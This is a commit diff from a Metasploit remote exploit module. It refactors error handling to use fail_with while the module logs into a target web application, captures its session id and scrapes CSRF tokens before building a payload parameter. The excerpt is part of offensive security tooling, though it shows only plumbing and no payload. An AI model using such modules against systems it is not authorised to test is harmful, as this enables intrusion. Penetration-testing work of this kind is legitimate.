Change print_error/ret to fail_with as per review

unstable
Ramon de C Valle 2013-07-19 12:19:29 -03:00
parent 8fd6dd50de
commit 6761f95892
1 changed files with 6 additions and 22 deletions

View File

@ -62,21 +62,13 @@ class Metasploit4 < Msf::Exploit::Remote
}
)
if res.nil?
print_error('No response from remote host')
return
end
fail_with(Exploit::Failure::Unknown, 'No response from remote host') if res.nil?
if res.headers['Location'] =~ /users\/login$/
print_error('Authentication failed')
return
fail_with(Exploit::Failure::NoAccess, 'Authentication failed')
else
session = $1 if res.headers['Set-Cookie'] =~ /_session_id=([0-9a-f]*)/
if session.nil?
print_error('Failed to retrieve the current session id')
return
end
fail_with(Exploit::Failure::UnexpectedReply, 'Failed to retrieve the current session id') if session.nil?
end
print_status('Retrieving the CSRF token for this session...')
@ -86,22 +78,14 @@ class Metasploit4 < Msf::Exploit::Remote
'uri' => normalize_uri(target_uri)
)
if res.nil?
print_error('No response from remote host')
return
end
fail_with(Exploit::Failure::Unknown, 'No response from remote host') if res.nil?
if res.headers['Location'] =~ /users\/login$/
print_error('Failed to retrieve the CSRF token')
return
fail_with(Exploit::Failure::UnexpectedReply, 'Failed to retrieve the CSRF token')
else
csrf_param = $1 if res.body =~ /<meta[ ]+content="(.*)"[ ]+name="csrf-param"[ ]+\/?>/
csrf_token = $1 if res.body =~ /<meta[ ]+content="(.*)"[ ]+name="csrf-token"[ ]+\/?>/
if csrf_param.nil? || csrf_token.nil?
print_error('Failed to retrieve the CSRF token')
return
end
fail_with(Exploit::Failure::UnexpectedReply, 'Failed to retrieve the CSRF token') if csrf_param.nil? || csrf_token.nil?
end
payload_param = Rex::Text.rand_text_alpha_lower(rand(9) + 3)